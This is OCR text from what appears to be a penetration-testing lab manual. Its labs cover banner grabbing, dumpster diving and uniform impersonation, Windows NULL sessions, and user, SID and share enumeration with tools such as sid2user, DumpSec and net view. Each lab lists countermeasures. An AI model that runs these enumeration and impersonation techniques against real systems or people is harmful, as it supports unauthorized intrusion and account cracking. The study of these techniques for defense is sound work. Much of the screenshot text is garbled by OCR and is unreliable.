Session Edit View Settings Help
D L)

[root@localhost templ# ./banner 192.168.11.120 192.168.11.120 21 21 L=f
Banner v1.0 beta
By - Cyber_Bob

[Press ENTER to Continue...

Started!

[Reading info for host #1...

<!> Port: 21 (FTPD)
Banner: 220 win2000s-v Microsoft FTP Service (Version 5.0).

Checking for possible insecure daemons. ..

INone of the daemons checked for were found!

Finished!

.l S BH”"

“13:01

[S=T"1M|
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The results in this example determined that:

B Port 21 is open.
B The target is using Microsoft FTP Service, version 5.0.

The following syntax will attempt to grab the banner information from the
same target, port 25:

./banner 192.168.11.120 192.168.11.120 25 25

57 Red Hat Linux B Server - VMware Workstation EEX
: File Edit ‘iew VM Power Snapshot  Windows Help
[ E 0[P S B seeshor B e &=

Red Hat Linux 8 Server

droo ocalho pols/banne e onsole i=lk.J
Session Edit View Settings Help

| ETiLe]

D/DVD: Banner v1.0 beta
By - Cyber_Bob

|IPress ENTER to Continue...

Started!

Reading info for host #1...
<!> Port: 25

Banner: 220 win2000s-v Microsoft ESMTP MAIL Service, Version: 5.0.2172.1 ready a
t Wed, 12 Oct 2004 19:00:59 -0500

Checking for possible insecure daemons...

INone of the daemons checked for were found!

Finished!
[root@localhost bannerl# ll

S % TN EI 2 @ cqure.net/tools - Mozilla
N SEHagh -

The result in this example determined that:

® Port 25 is open.
B The target is using Microsoft ESMTP MAIL Service, version 5.0.2172.1.

Oy D

Gas and sdpctmicity.
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Lab 7: Personal Social Engineering

Social Engineering Techniques: Dumpster Diving/Personnel

Prerequisites: None

Countermeasures: Enforced security policy, prosecution for violations,
training, document shredding.

Description: Information that companies consider sensitive is thrown out
daily in the normal garbage cans. Attackers can successfully retrieve
this data by literally climbing into the company dumpsters and pilfering
through the garbage. Information such as names, Social Security num-
bers, addresses, phone numbers, account numbers, balances, and so
forth is thrown out every day somewhere. I personally know a nation-
ally recognized movie rental company that still uses carbon paper in
its fax machine. Once the roll is used up they simply throw the entire
roll in the dumpster. The information on that roll is priceless, including
names, addresses, account numbers, phone numbers, how much they
actually pay for their movies, and so forth.

Another social engineering attack that also proves to be very successful is
when an attacker dresses in the uniform of those personnel considered
“honest” and “important” or even “expensive.” For example; an attacker
purchases/steals the uniform of a carrier, telephone, or gas or electric
employee and appears carrying boxes and/or clipboards, pens, tools,
etc. and perhaps even an “official-looking” identification badge or a
dolly carrying “equipment.” These attackers generally have unchal-
lenged access throughout the building as employees tend to see
“through” these types of people. When is the last time you challenged
one of these personnel to verify their credentials?

This attack is very risky as the attacker can now be personally identified
should he or she get caught.

Again, this attack is normally very successful so bear this in mind.
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Lab 8: Establish a NULL Session
Establish a NULL Session: NULL Session

Prerequisites: Transfer Control Protocol (TCP) 139, IPX, or NetBEUI

Countermeasures: Secure access control lists (ACLs), Restrict Anonymous,
host-based firewalls

Description: The NULL session is used on Windows computers via the
Inter-Communication Process (IPC$) to allow the viewing of shared
resources. This connection is made without a username or password.
An attacker will use the NULL session to his or her advantage to enu-
merate user information from the target. Many enumeration labs are
more successful when establishing a NULL session.

Procedure: From an operating system (OS) prompt enter the following
syntax:

net use \\Target IP Address\IPC$ ""/u:""

Microsoft Windows 20008 [Uersion 5.88.21951]
(C) Copyright 1985-208@ Microsoft Corp.

C:\Documents and Settings\Administratordnet use “~192.168.142.143\ipcd " /fu:""
The command completed successfully.

C:“Documents and Settings‘Mdministrator}

When successful, the result will show The command completed successfully.
Note that this is not logged in the System Event Log!

*Note: As long as the target computer has not restricted NULL sessions (see the
“Restrict Anonymous” section in Chapter 1) and a firewall is not used to
identify attempts to connect or deny connections to port 139 or 445, this
technique works. Again, remember that this connection is not logged in the
System Event Log.
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Lab 9: Enumerate Target MAC Address
Enumerate MAC Address and Total NICs: GETMAC

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: The GETMAC application is used to identify the Media
Access Control (MAC) address assigned to each network card (NIC) of
the target. Another feature of the GETMAC application will identify the
total number of NICs in the target.

Procedure: Establish NULL session (refer to Lab 8). Then from a DOS
prompt, type the following with the syntax of:

getmac IP Address

ommand Prompt

IC:\Tools“\Windows~getnac>getmac ~~192.168.0.8

In this example, the target MAC addresses have been identified as well as
the total number of NICs. In this case, two NICs have been identified.

ommand Prompt

C:\Tools\Windows\getmac >getmac ~~192.168.0.8

Information for machine “\\192.168.8.8
Transport Addresz Transport Mame

ne-a A “\Device\Nbf _{3CCB131C-3641-473B-BD85-DEA3233403FD>
24-C8-20-52-41-53 “Device\Nhf_MNdisUanNhf In{A373D4FC-5BF3-45E4-9321-1BF7881B18F0

ke
gs—DB—2B—52—41—53 “Device\Nbhf _NdisWanNbf In{?FBA32C8-CC?8-4978-8F16-65A3B401E380
%§—62—23—52—41—53 “Device\Nbf _NdisWanNbf Out{ECBC1802—4EY2-4FA?-ADSF-DI3AB7123C9

BA-AA-A0-BA-BA-B8 “Device\NethiosSmbh
AB-AC-29-A3-F4-48 “Device\NetBT_Tcpip_{3CCB131C-3641-473B-BDB5-DEA3233403FD>

C:\Tools\Windous\getmac>_

In this case, the target has the following MAC addresses for each identified
NIC:

NIC 1: 00-0C-29-A3-E4-40
NIC 2: 24-C8-20-52-41-53
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Lab 10: Enumerate SID from User ID
Enumerate the SID from the Username: USER2SID

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: Every account on a Windows computer has a Security Iden-
tifier (SID). SIDs are static for the machine the user accounts are
installed on. The USER2SID application is used to enumerate the SID
from a given username. Once the SID has been identified the username
can be enumerated regardless of what the user account has been
renamed (covered in Lab 11).

Procedure: First establish a NULL session. From a DOS prompt type the
following syntax:

user2sid <\\Target IP Address> account name

*Note: The computer name is optional with this utility. If none is given the local
computer is used.

In this example, the target IP address is 172.16.1.40 and the target account
name is Administrator.

8] Windows 2000 Professional - YMware Workstation 3 -1ol x|
e gl @E @8

(1 200 i G windows 2000 Professional Linux

hstart|| (] @ 3 || i of fiiesitt - Mizros...|[ B winwT\Systemae ... G @I sueem
Eome -
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In this example the username of the Administrator:

B Has a SID of 5-21-1220945662-1343024091-854245398. (The S-1 and
number at the end, in this case 500, is not part of the SID.)
B s in the WIN2000S-V domain.

2 indows 2000 Professional - ¥Mware Workstation 3

|FME Edit  Wiew VM Team ‘Windows Help

C:\Downloads\user2sid sid2userPuser?sid “\172.16.1.48 administrator

§-1-5-21-1228945662-1343024091-854245398-500

wp JHunber of subauthorities is 5
W fDomain is WINZBODS—U
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\Downloads\user2sid sid2user>

$E  sarem
EcEw 4

gastartm o @& H §9Index of thestNT—Mmms...' B C:\WINNT\System32),..

*Note: As you will learn in the next lab you can immediately verify if certain account
names are the “real” names. For instance, this example shows that the Admin-
istrator account number ends in 500. The 500 is known as the Relative
Identifier (RID) and is ALWAYS 500 on a Windows computer.
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Lab 11: Enumerate User ID from SID
Enumerate the Username from the Known SID: SID2USER

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: Every user account on a Windows computer has a RID. Certain
RIDs are static. The SID2USER application is used to enumerate the username
from a given SID regardless of what the account may have been renamed.
(Refer to Lab 10 for a SID.)

Procedure: Establish a NULL session and initiate a query against the target.

From the directory containing the sid2user executable establish a NULL session
(refer to Lab 8). From a DOS prompt, type the following syntax:
sid2user <\\Target IP Address> SID RID
*Note: The computer name is optional with this utility. If none is given the local

computer is used.

User accounts that carry the same RID regardless of what the account has been
renamed to are shown here:

Username RID
Administrator 500
Guest 501
User Accounts 1000 +

In this example, the known SID (refer to Lab 10) is given plus the known Admin-
istrator RID of 500.

Bl windows 2000 Professional - YMware Workstation g -10| x|

(Fle Edt Vew WM Team Windows o
nlre|oeikEa o8

e ﬁwillilows 2000 Professional

er2sid sidZuserdsid2user N\N172.16.1.48 5 21 1220945662 13430240891

iastartm @& H & Yindex of fmes/NT-Mms...| B C:\WINNT\System32),... @I razem

Samw -
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*Note: Notice that the dashes are not included in the SID as identified from Lab 10,
as well as the S-1 at the beginning of the number. You must leave these out
for sid2user to correctly identify the username based on the SID plus RID.

In the results from the example above notice that from the SID from Lab

10 plus the static RID of the Administrator account (500):

B The username for that RID is actually the Administrator account.
B The target resides in the WIN2000S-V domain.

B Windows 2000 Professional - ¥Mware Workstation
File Edt View WM Team Windows Help

nre BepRloEal®

C:~Down loads™\us:
854245398 588

ifstart ||| 1] @ 50 || & imdox of JilesinT - Mioros.. | [@cawinT Systemaz.. 4 716pM
Eemw 4

On the target computer the Administrator account has been renamed to Kermit.

B Windows 2000 Server - ¥Mware Workstation -0 x|

File Edt View VM Team ‘\Windows Help

nre BoBlea no

& ( Windows 2000 Server x

(=] Computer Management (Local) Built-in ac or administ=
E @ System Tools Builk-in accounk For guest acce:
(] Evert Viewer : hacksym
Qg system Irformation . ... Internet Guest Account Builk-in account: For anonymous
& &) Performance Lags and Alerts || G TWAM_WINZ... Launch II5 Process Account  Buikin account for Internet In
Shared Folders & mmouse Mickey Mouse Top Mouse of Walt Disney
i~ Device Manager G ietshowsery... windows Media services ... Windows Media services run ur
Local Users and Groups G TsInternetUser  TslnkemnetUser This user account is used by Te
- Users
L Groups
& storage
+{ ] Disk Management
i B Disk Defragmenter
“¢=) Logical Drives
& Rremovable Storage
(@1 services and Appiications

=)

EEmw
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Now when the SID2USER application is run against the target:

Bl Windows 2000 Professional - ¥Mware Workstation R
File Edit Wiew VM Team ‘Windows Help
nlir e & 3

({3 Windows 2000 Professional

:\Downloads\user2sid sid2user’sid2user “\\172.16.1.48 5 21 1220945662 13438246091
854245398 500

g Joomain 00!
“§Type of SID idTypelser

IC:\Downloads\user2sid sid2user>

jﬁstartm ] @& 3 H & Jindex of ff\lesﬂNT-Mlcros‘.‘l B\ WINNT' System32',... 3 7i9pm

Ecmw ,

From the example:

B The renamed Administrator account of Kermit has been identified by
the RID of 500. Remember that the RID for the real Administrator account
will always be 500 regardless of what the account is renamed to.

B As before, the target resides in the WIN2000S-V domain.

*Note: Knowing the username is half the battle to cracking an account. An attacker
can now inject the username of Kermit into a brute-force password-cracking
program until the correct password is identified.
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Lab 12: Enumerate User Information

Enumerate User Information from Target: USERDUMP

Prerequisites: NULL Session
Countermeasures: Restrict Anonymous, host-based firewalls
Description: The USERDUMP application is designed to gather user infor-

mation from the target. Some of the information enumerated is the user
RID, privileges, login times, login dates, account expiration date, net-
work storage limitations, login hours, and much more.

Procedure: Establish a NULL session (refer to Lab 8). From a DOS prompt

type the following syntax:

userdump \\Target IP Address Target Username

[ CommandPrompt =ISx]
B

Tools~Foundstonel~userdumpruserdump “\192.168.142_143 administrator
UserDump vi.lil — thor@hammercofgod.com
Querying Controller ~~192_168_142_.143
USER INFO
Username = Adninistrator

Full Name:
CDmnent Built—in account for administering the computer-domain

Pr Adnin Privs
OperatorPrivs: HNo explicit OP Prius

SHSTEN FLAGS <Flag dwo
wd never expir

ir:
PasswordExp: a

Logon hours at controlle
55488555 01N12345678901N
FERFEEE EEEEEEEEFEREEEEEE
1111111111111 1111111111
FEEEEEEEEEEEEEEEEEEEEEEE)
FEEEEEEEEEEEEEEEEEEEEEEE)
FEEEEEEEEEEEEEEEEREEEE R
riday 1111111111111 1111111111
Saturday FEEEEEEEEEEEEEEEEEEEEEEE)

USER INFO
Username = TIUSR_KERMIT
Full Name Internet Guest Account
Built—in account for anonymous access to Internet Inforn

Built—in account for anonymous access to Internet Inforn|
1881

513
Guest Priuvs
Ho explicit OP Priwvs

The results reveal the following username Administrator details:

The User ID is 500. (This tells us that this is indeed the real Administrator account.)
The user’s password never expires.

The Administrator last logged in at 12:44 a.m. on January 16, 2004.

The account has had 9 bad password attempts.

The Administrator has only logged in to this computer 2 times.

The PasswordExp is set to 0. (This tell us that the password never expires.)
The logon hours are all set to 1. (This tells us that the Administrator can log
in 24/7.)

Other information.

The username Administrator details have been successfully enumerated
via the USERDUMP application.
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Sy

Lab 13: Enumerate User Information
3
Exploit Data from Target Computer: USERINFO wiow

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: The USERINFO application is designed to gather user infor-
mation from the target. Some of the information enumerated is the user
RID, privileges, login times, login dates, account expiration date, net-
work storage limitations, login hours, and much more. An attacker uses
this information in his or her social engineering phase of an attack.

Procedure: Establish a NULL session (refer to Lab 8). From a Disc Oper-
ating System (DOS) prompt type the following syntax:

userinfo \\Target IP Address Target Username

[~ commandPrompe N N

C:~Documents and SettingssmspiveysMy Documents:Security\Hacking SeminarsWindouws\|
userinforuserinfo \W192.168.11.120 administrator

UserInfo v1.5 — thorBhammerofgod.com
Querying Controller ~N\192.168.11.120

USER INFO

Username = Administrator

Full Hame:

Comment = Built—in account for administering the computer-domain
Comment :

588
513
3 Admin Priuvs
OperatorPrivs: Mo explicit OP Prius

SYSTEM FLAGE (Flag dword is 66@49)
User’s pud never expires.

MISC INFO
Password age: Sun Febh 18 18:08:84 2662
LastLogon: Thu Oct 14
LastLogo: Thu Jan 81 GB:80:80 1978
: Never
Unlimited
Workstations
Unitsp 13 168

Hum logons
Country co

Code page:
Profile:
ScriptPath:
Homedir drive:
Home Dir:
PasswordExp: B

Logon hours at controller, GMI:

Hours— 12345678981N12345678981M

Sunday 111111131113 41144441441

Monday 1111111131113 41134441441
1id1d4414444444444444444
1id1d4414444444444444444
1id1d4414444444444444444
1id1d4414444444444444444

Saturday 114144414 444444444444444

Get hammered at HammerofGod.com?

C:~Documents and SettingssmspiveyxMy Documents:Security\Hacking Seminar Windouws\|
userinfol

*Note: Notice the results returned with USERINFO are identical to the USERDUMP
application (see Lab 12). Both tools use the NetUserGetInfo API windows call.
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Lab 14: Enumerate User Information A
Exploit User Information from Target: DUMPSEC <

Prerequisites: NULL Session

Countermeasures: Restrict Anonymous, host-based firewalls

Description: The DUMPSEC application is designed to gather the user
information from the target. Basically the application is a front-end
application for the NetUserGetInfo API windows call. Do not forget to
establish a NULL session first.

Procedure: Establish a NULL session (refer to Lab 8). Open the DUMPSEC
application; enter target information, the dump user information, and
then read the results given.

Open the DUMPSEC application from the directory containing the executable.

#- Semarsafl DumpSer [larmesly Dumphcl) - VWAKHK 571 LAP (lecal)

This is the initial screen when DUMPSEC is started. There is not much
here, yet. From Report, Select Computer, enter the target IP address and
click OK.

Select Computer,

|\K1S2.188.11.12D

Cancel
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The Dump Users as Table screen appears.

Dump Users as Table

Awailable fields:

ame
Groups
GroupComment
GroupType
FullH ame
AccountType
Comment
HomeDrive
HomeDir
Profile
LogonScript
Workstations
PawdCanBelChanged
PswdlLastSetTime
PawdRequired

PawdExpires W

[v Show normal user accounts

tove Dawn

Q.

Cancel

_MoveLl |
=
[
=

[ Show "true' last logon time [i.e. search all logon servers)

X

Selected fields [in sort order]:

[~ Show computer accounts

From Report, select Dump User as Column. Click Add until all items
on the left are now on the right on the screen.

Dump Users as Table

Awailable fields:

v Show normal user accounts

&dd -

{- Remove

Maove Up

tdove Down

Cancel

diE

Selected fields [in sort order]:

FawdCanBeChanged
FPawdLastSetTime
PzwdRequired
FPawdE spires
FPawdEspiresTime
AcctDisabled
AcctlockedOut
AcctEwpirezTime
LastLogonTime
LaztLogonServer
LagonHours
Sid
FasDialin
RazCallback,
backMurmber

-

[v  Show computer accounts

[v Shov "true! lazt logon time [i.e. zearch all logon serversk
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Click OK.

#3 Somarsoft DumpSec (formerly DumpAcl) - W

Adninistrators Administrators have conplete and unrestricted access to the computer/domain

Guests Guests have the same access as nembers of the Users group by default, except for the Guest
TUSR_WIN20865-U Guests Guests have the same access as nembers of the Users group by default, except for the Guest
TUAM_WIN20865-U Guests Guests have the same access as nembers of the Users group by default, except for the Guest
NetShouServices Administrators Administrators have complete and unrestricted access to the computer/domain
NetShouServices NetShow Administrators Members can fully administer Windows Media Services
TsInternetUser Guests Guests have the same access as members of the Users group by default, except for the Guest|
< >
Found 6 users 00001

The results from the target will appear in the main window.

#a Somarsoft DumpSec (formerly DumpAcl) - 1192, 168.11.120
Fle Ede Search Report Vew Help

[} 10ut AcctExpiresTine LastlogonTime LastLogonServer LogonHours Sid

Administrator 10/13/2004 11:17 PH 192.168.11. 3-1

Guest Never Never 192.168.11.120 ALl $-1-5-21-1220945662-1343024091-854245398-501

IUSR_WIN2008S-U Hever 10/11/2004 8:25 PH  192.168.11.120 ALl §-1-5-21-1220945662-1343024691-854245398-1003

TUAM_UTN2 6885 -U Never 10/9/2004 10:05 PH 192.168.11.120 A1l $-1-5-21-1220045662-13430624691-854245398-1004

NetShouServices Never 168/13/2084 11:17 PH 192.168.11.128 A1l $-1-5-21-1220945662- 134382 4891-854245398-1081

NetShouServices Never 168/13/2084 11:17 PH 192.168.11.128 A1l $-1-5-21-1228945662-1343824891-854245398-1861

TsInternetUser Never Never 192.168.11.120 ALl $-1-5-21-1220945662- 1343082 4091-854245398-1000

< | ?
00001

Scrolling to the right will display the rest of the enumerated information.

*Note: Extra attention should be given to the “notes” section of the results as many
Administrators place sensitive information in that block, including passwords.
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The DUMPSEC application may also be run from the DOS command line
with the following syntax:

dumpsec /computer=\\Target IP Address /options

C:\Program Files\SystemTools>DumpSec.exe scomputer="\192.168.11.128 /ept=users /!
caveas=csv Joutfile=ugers.txt

In this example, the DUMPSEC application will retrieve much of the same
information as the Graphical Interface User (GUID) interface does but retrieve
the results in comma-delimited format in a text file with the name of users.txt.

B sers.txt - Notepad B@E}

Fle Ed: Fomat ew Heb

10/14,/2004 9:06 AN - Somzrsoft cumaSec (Formerly bumpac™) - \\192.168.11,120
Usernzme, FxﬂWName,AccnumT%/pe‘Ctmmam,HnmeDrive,HnneDir,Prnfﬂe,Lngnnscript,wnrkstatinns,Pswd(anae(hanged‘Pswd,aitsetﬁme,Pswdneqﬂ'red, PawdExpires
JPswdExpiresTimz, acctoisclled, acct_ockedout, AcctexpirzsTime, LastLogonTimz, LastLogonserver, LagonHours, Ras0ialin, Rascallhzck, Rascallbacknunber

Administrator, , Jser,Built-in account for adwinistering the computer/domain,,,,,, Yes,2/20/2002 12:08 PM,Yes,ho ,Never,No ,No ,Never,10/13/2004
11:17 Py, 192.163,11.120, 411, N0 ,No7a,
Guest,, User, Euilt-in account for guest access to the computer/damain,,,,,, O, Naver,No ko, 7unknawn, Yes, No |, Naver, Never,192,1€8.11.120,A17, No

None,

TUSR_WIN2000S-V, Internat Guest Accaunt,User,Built-in account for anomymous access to Internzt Informetion Services,,,.,,No ,2/10/2002 12:00 P4, No
JNo, Never Nc o, Never,10/17/2004 8:25 PM,192.768.11.120,A17,No , Hore,

Tnal_WIN20OOS-V, Launch 115 Process Account,User,Built-in account for Intzrnet Informatior s2rvices to start out of process applications,.,,,, No
,2/10/2002 11:53 AM,NO ,NO , Never o ,NO |, Never,Z0/9/2004 10:0° Pv,292.138.11.120,A11, N0 , Nane,

hetshowservices, windows Media services run under this accourt,User,Wirdows Media services ran under this accoutt,,,,,. No ,2/-0/2002 11:58

A, ves, Mo, Never, No ,No ,Never,10/13,/2004 11:17 PM,192.168.11.120,A11,N0 , Hone,

TsInternetUser, TsInternetuser, User, This user accourt is used by Terniral services.,,,,,, ho,10/13/2004 8:40 P, N0 N , NEver,NC , N0

JMever, Never,192.168.11.120,A11,N0 , Hore,

The contents of users.txt is displayed. Because this is in comma-delimited
format this file may be imported into a spreadsheet such as Microsoft Excel.
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Lab 15: Host/Domain Enumeration

Enumerate Hosts and Domains of LAN: Net Commands

Prerequisites: Access to UDP 137, IPX, or NetBEUI

Countermeasures: Host-based firewalls

Description: The net commands are used to enumerate information from
the Local Area Network (LAN). Information that can be obtained is the
other hosts and domains within the LAN. Once a NULL session has
been established, then any shares these hosts may have will be dis-
played as well.

Procedure: Net commands may be executed against a target without a NULL
session; however, for optimum results a NULL session is recommended.
The syntax is:

net <options>
From a DOS prompt, type the following with the syntax of:

net view

windows 2000 Server - ¥Mware Workstati —[al x|

File Edit Wiew %M Team ‘Windows Help ‘
TR EEE = |
# Home | Windows 2000 Prof | [ e | [

iMstart|| | (] @ 59 @ [0 @ | |[EIcommand Prompt

"MHicrosoft Windows 2088 [Uer:
(C> Copywight 1985-1999 Mic

C:Documents and Setting
Server Name R

U
The command completed successfully.

de Gz Documents and Settings\Administratory_

(==
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In this example, the hosts within your LAN or current domain are identified.
This technique only works on the LAN and not through the Internet by typing:

net view /domain

Bl windows 2000 Server - YMware Workstation o [w 3]

File Edit Wiew YM Team Windows Help

muly& |8 GHEa 88

A 5 5 [ T viions 200 serve: IR
Astort]|| ) € 518 1 © ||[Bcommandpromet TR

IC:\Documents and Settings\Administrator>net view
erver Name

2\Documents and Settings“Administrator>net view /domain
[Domain

Ecmw

In this example, the domains on the LAN are identified. To identify the
hosts within each domain, the syntax would be:

net view /domain:domain name
=

File Edit Wiew WM Team Windows Help

= m[re | BoR B0 88

Vfi"r | [ i | &) : | I ) 5 windows 2000 ser ver_
ghstart] | () @ E1 B = © ||[ECommand prompt GEE tomm

G:\Documents and Scttings“Administrator’net view sdomain:warkgroup
Scrucr Name -

IN-2008-U—1
“WIN2BEBS—U
5|The command conpleted succe

(C=\Documents and Settings“Administrator>

Ec@mw
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Access rights must be available in order to view the hosts on another domain.
To view the nonhidden specific shares available to a target:

net view \\Target IP Address

00 Server - ¥Mware Workstation =] 5]

‘File Edit  Wiew VM Team ‘windows Help

munrelcanEa 00

T T
i#listart| | (] @ CC)E@ [ @ ||[Ecommand Prompt B # mitem

C:\Documents and Settings“Administratordnet view “\172.16.1.43
Shared resources at “\172.16.1.43

hare name Used as Comment

Human Resour

JPayro1l
Hrhe command completed successfully.

% C:“\Documents and Settings“Administrator>

E=mew

In this example, the target is sharing two folders: Human Resources and
Payroll.

*Note: If you find you are not obtaining the results desired, try initiating a NULL
session to the target.
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Lab 16: Target Connectivity/Route
Detect Target Connectivity: PingG

Prerequisites: None

Countermeasures: Deny Internet Control Messenger Protocol (ICMP)
requests/reply

Descriptions: The ping application is used by an attacker to “see” if a
target is connected to the network/Internet as the target will respond
with a ping reply.

Procedure: From a DOS prompt or Linux shell type the following with
the syntax of:

ping (Target IP or Hostname)

IC:“\Documents and Settings’mspivey>ping wwu_google._ com,

In this example, the target is active and, based on the hostname of
www.google.com, returns its I[P address of 64.233.167.99. Now the attacker
has obtained the IP address of the target.

=+ Command Prompt 1ol

IC:“\Documents and Settings\mspivey>ping www.google.com
Pinging www.google.akadns.net [64.233.167.921 with 32 hytes of data:

Reply from 64.233.167.9%: bytes=32 time
Reply from 64.233.167.9%: hytes=32 ti
Reply from 64.233.167.99: bytes=32 ti
Reply from 64.233.167.9%: bytes=32 time=4

Ping statistics for 64.233.167.99:

Packet Sent = 4, Received = 4, Lost = B (Bx loss),
fpproximate round trip times in milli—seconds:

Minimum = 42ms, Maximum = 44ms. fAverage = 42ms

IC:“\Documents and Settings\mspivey>_
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The ping command works in the same way in the Linux environment.

[S7 Red Hat Linux B Server - VMware Workstation
File  Edit Wiew WM Powsr Snapshot  Windows  Help

00 [ b |2 | B soepshot | M E &
Red Hat Lintx 8 Server
~ [T a =1k
Session Edit View Settings Help
[root@localhost rootl# ping 64.233.167.990 ~

I~ [(Eam| — = B file:froot/nmapcror | @ Mozilla_bin = 7.
‘% Q @ [= g|;g]-5-13

eom |

Notice that when you use the ping command by “pinging” the hostname,
the IP address is returned.

1 Red Hal Linux B Server - VMware Workstation (==

Fle Edit Yisw ¥M  Power Snapshot  Windows  Help

00 (b & | B smepshor el ==

Red Hat Linux 8 Server

[ rcotiocalho onsole M=
Session Edit View Settings Help

R

[rootelocalhost root]# ping 64.233.167.99 -
RV (PING 64.233.167.99 (64.233.167.99) from 192.168.0.9 : 56(84) bytes of data.

64 bytes from 64.233.167.99: icmp_seg=l tt1=238 time=45.4 ms

64 bytes from 64.233.167.99: icmp_seq=2 tt1=238 time=43.8 ms

o [64 bytes from 64.233.167.99: icmp_seq=3 tt1=238 time=44.1 ms

64 bytes from 64.233.167.99: icmp_seg=4 tt1=238 time=42.4 ms

64 bytes from 64.233.167.99: icmp_seg=5 tt1=238 time=47.3 ms

-—- 64.233.167.99 ping statistics ---

5 packets tramsmitted, 5 received, 0% loss, time 4006ms
Irtt min/avg/max/mdev = 42.413/44.661,/47.393/1.693 ms
[root@localhost root]# [

file: froot/nmapcror | @ Mozilla-bin

cam |

al® HesEH

Sometimes when searching for the hostname with the ping utility, the
hostname is not received as in the previous example. In Windows computers
ping may still be useful by using the optional —a switch (case sensitive).

ping -a (Target IP or Hostname)

*Note: One difference between the Windows ping and other operating systems is
that Windows does not provide the option to select the specific NIC to ping
the target (providing you have multiple NICs in the “pinging” computer). If
you need to use a specific NIC you must disable all other NICs.
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Lab 17: Target Connectivity/Route
Connectivity/Routing Test: Pathping

Prerequisites: None

Countermeasures: Deny ECHO/ICMP request/reply at the border router

Description: The pathping application is used by attackers to not only
verify the target but to view the route to the target. Many times the
connection just before the target is a router that attackers may find
useful to attack in addition to a computer.

Procedure: From a DOS prompt type the following with the syntax of:

pathping (IP Address or Hostname)

=13l x|
File Edit “iew Y¥M Team ‘Windows Help
IR EEREEE] Eﬂ_@_
ﬁ-’-:-&-:-‘ &}W’n(lows 2000 Professional &} X
d =71 x|
4 3
;astart“j H & 1 |J'Imc:\WINNT\Systemaz\... @ saem
=T 1D
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The first result you will see is the route (hops) to the target along with the
associated TP address of each hop.

indows 2000 Professional - YMware Workstation =10 X
File  Edit Yiew WM Team Wi Ie}
0 0 H D -
0 0 0
0 0 0
@ nee
8 BB B 8 [0 A 0 0
B [0 B
8 010 B 8 510 B B 8
B A
B 010 B B 410 A A 0
5 5[0 B
g 010 g g 5[0 B B 0
B [0 A
B 010 B B 410 A B 0
I 5[0 i
40
B [0 A
I3 By B k3 5[0 B
8 5[0 B
B 5[0 A
8 Bl B 8 B B 8 0
B
G
8 8 a8 A 8 1% A 0
b3 5[0 B
5 8]0 5 5 5[5 5 b 00 & 0 i
4 »
; T | [ —
dhstart| | = & 52 |Jimc:\meT\Systemaz\... |G-l segem
Ecmu

The utility then calculates the statistics for each hop along the route.

indows 2000 Professional - YMware Workstation i =] 3}
I File Edit ‘Yiew WM Team ‘Windows Help
S e lnon ol mD
mulre e RBE @B
Gl [T Windows 2000 Professional [0 R
d.exe =13 x|
Be B 69-google 0 N
A
B 5[0 A
L0 Bl 515 A1t 5[0 oG
k3 5[0 B
8 AB A
8 BB B B 410 A a4
0
=
4 »
§ﬁstartii_1 & |jiﬂt:\wmm\s,rstemaz\... 5:49 PM

=11

Remember that many times next to the last hop, in this case 216.239.49.220,
is a router. Routers make excellent targets when they are not properly secured.
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Lab 18: Operating System Identification A
Identify Target Operating System: Nmap/nmapFE <

Prerequisites: None

Countermeasures: Banner alteration, firewalls, Intrusion Detection
System (IDS)

Description: The nmap/nmapFE applications can be used to identify the
possible operating system (OS) of the target. An attacker uses this
information to launch appropriate attacks for the results obtained. The
difference between nmap and Xprobe2 from Chapter 2 is that this
application allows the option of initiating a decoy IP address against
the target. Remember that all commands in Linux are case sensitive.

Procedure: Compile and create the Linux executable and run it against
the target with the syntax of:

nmap <options> (IP Address)

From a Linux Terminal containing the directory of the compressed nmap
files type nmap <options> (IP Address).

The files will uncompress into a new directory named nmap-3.70.

Change to the new directory by typing c¢d nmap-3.70.

From the new directory the nmap application must be compiled for the
specific machine it is installed on by typing ./configure.

The nmap application will compile to the specific machine it resides on.

[BlRed Hat Linux - VMware Workstation =lol x|
File Edit View VM Team ‘Windows Help

nie & @ @l Rrfl<]
ﬁ Hi i 00 Py ﬁRe(IHmL' X

[hd . root@localhost:~/tools/nmap/nmap:-3.70
File Edit View Terminal Go Help

checking if struct ip has ip_sum member... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating nsock_config.h
config.status: nsock_config.h is unchanged
configure: configuring in nmapfe

configure: running /bin/sh './configure' --prefix=/usr/local --cache-file=/dev/
null --srcdir=.

checking for gcc... gcec

checking for C compiler default output file name... a.out
checking whether the C compiler works... yes

checking whether we are cross compiling... ne

checking for suffix of executables...

checking for suffix of object files... o

checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes

checking for gcc option to accept ANSI C... none needed
checking for gtk-config... /usr/bin/gtk-config

checking for GTK - version »>= 1.0.0... yes

checking build system type... i686-pc-linux-gnu

checking host system type... i686-pc-linux-gnu
configure: creating ./config.status
config.status: creating Makefile
[root@localhost nmap-3.70]#

AR HegaH o

Ecm\il
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The next step is to type the make command:

Red Ha Linux - YMware Workstation

=101 |

File Edit View V¥M Team Windows Help

= @ 13

{3 Red Hat Linux
[ root@localhost:~/tools/nmap/nmap:3.70
File Edit View Temminal Go Help
[root@localhost nmap-3.70]# makal

[S=L 1T

The command will execute.

Bl Red Hat Linux - ¥Mware Workstation

=10/

File Edit View VM Team Windows Help

iy e BEnm
[A Home 3 Red Hat Linux

root@ ocalhost:~/iools/nmap/amap-3.70
Eile Edit View Temminal Go Help

ranlib libpcre.a

make[1]: Leaving directory °/root/tools/nmap/nmap-3.70/1libpcre’
Compiling libnbase

cd nbase &% make

make[1]: Entering directory °/root/tools/nmap/nmap-3.70/nbase’
make[1]: Nothing to be done for "all’.

make[1]: Leaving directory °/root/tools/nmap/nmap-3.70/nbase’
Compiling libnsock

cd nsock/src && make

make[1]: Entering directory ' /root/tools/nmap/nmap-3.70/nsock/src’
Compiling libnbase

cd ../../nbase && make

make[2]: Entering directory ' /root/tools/nmap/nmap-3.70/nbase’
make[2]: Nothing to be done for "all’.

make[2]: Leaving directory ' /root/tools/nmap/nmap-3.70/nbase’
make[1]: Leaving directory ' /root/tools/nmap/nmap-3.70/nsock/src’
Compiling nmap

n -f nmap

v

g++ -Llibpcap-possiblymodified -Lnbase -Lnsock/src/ -o nmap main.o nmap.o targ

ets.o tcpip.o nmap_error.o utils.o idle_scan.o osscan.o output.o scan_engine.o t
